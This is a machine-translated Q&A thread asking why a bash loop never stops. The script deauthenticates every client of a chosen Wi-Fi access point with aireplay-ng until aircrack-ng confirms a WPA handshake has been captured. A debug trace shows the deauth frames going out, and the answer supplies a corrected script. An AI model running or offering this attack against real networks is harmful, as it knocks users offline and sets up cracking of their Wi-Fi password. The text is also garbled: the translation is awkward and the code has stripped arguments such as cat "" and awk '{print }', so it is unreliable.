bash 直到当条件 returns 任何情况下循环为真

Question

试图弄清楚如何获得此 until 循环以在脚本实际返回 任何数据 时终止脚本。我已经尝试过 -z、-n 等，但没有成功。该脚本旨在获取特定 BSSID 的任何 airodump-ng 输出（csv 格式），并遍历每个站点并在 5m 的周期内无限地解除它们的身份验证，直到 $SUCCESS returns捕获了 4 次握手

如有任何帮助，我们将不胜感激！

#!/bin/bash
#Need to get the BSSID Name
echo "BSSID Name? (Case Sensitive): "
read BSSIDNAME

BSSID=$(cat "" | awk -F',' 'NR>2{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d' | sed -n 1p)

until [ "$SUCCESS" -n ]; do
  for STATION in $(cat "" | awk -F',' 'NR>5{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' | sed -e '/^.$/d' ); do
          aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
          sleep 5s;
  done
SUCCESS=$(aircrack-ng "${BSSIDNAME}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done

这是调试输出。你可以看到它循环，即使我们收到了握手。

root@Pineapple:/sd/pcap# sh -x ./autodeauth.sh attackme-01.csv
+ echo BSSID Name? (Case Sensitive):
BSSID Name? (Case Sensitive):
+ read BSSIDNAME
attackme
+ + + sed -n 1p
awk -F, NR>2{print }
sed -e /Station MAC/d -e /BSSID/d -e /\n/d
+ cat attackme-01.csv
+ BSSID=00:11:11:11:11:11
+ [  -n ]
sh: -n: unknown operand
+ awk+  -F,sed+  NR>5{print } -esed
 /Station MAC/d -e -e /^.$/d /BSSID/d

+ cat attackme-01.csv
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:00 wlan1mon
05:41:31  Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:31  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
05:41:32  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|60 ACKs]
05:41:33  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|55 ACKs]
05:41:33  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|56 ACKs]
05:41:34  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
+ sleep 5s
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:01 wlan1mon
05:41:39  Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:40  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|49 ACKs]
05:41:40  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|60 ACKs]
05:41:42  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|63 ACKs]
+ sleep 5s
+ grep WPA (. handshake)
+ aircrack-ng attackme-01.cap -w fakewordlist
+ SUCCESS=   1  00:11:11:11:11:11  attackeme                     WPA (1 handshake)
+ [    1  00:11:11:11:11:11  attackme                     WPA (1 handshake) -n ]
sh: -n: unknown operand

Answer 1

行：

SUCCESS=$(something)

将运行something一次并将输出存储到SUCCESS环境变量中。

你的 until 循环体从不运行明确地命令所以我想你可能相信 $SUCCESS 在 until 语句以某种方式运行ning 命令。

事实并非如此。它只是重新评估 SUCCESS 变量。您需要显式重新运行命令，例如with:

SUCCESS=$(aircrack-ng "${BSSID}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
until [ -n "$SUCCESS" ]; do
  for STATION in $(cat "" | awk -F',' 'NR>5{print }' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d'); do
    aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
    sleep 5m;
  done
  SUCCESS=$(aircrack-ng "${BSSID}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done

如果没有倒数第二行，SUCCESS 变量实际上永远不会改变，这可以解释为什么你的循环永远不会退出。

您可能会注意到我对您的代码所做的其他更改，即更改行：

until [ "$SUCCESS" -n ]; do

进入：

until [ -n "$SUCCESS" ]; do

后者是测试 SUCCESS 环境变量是否包含非空字符串的正确方法。

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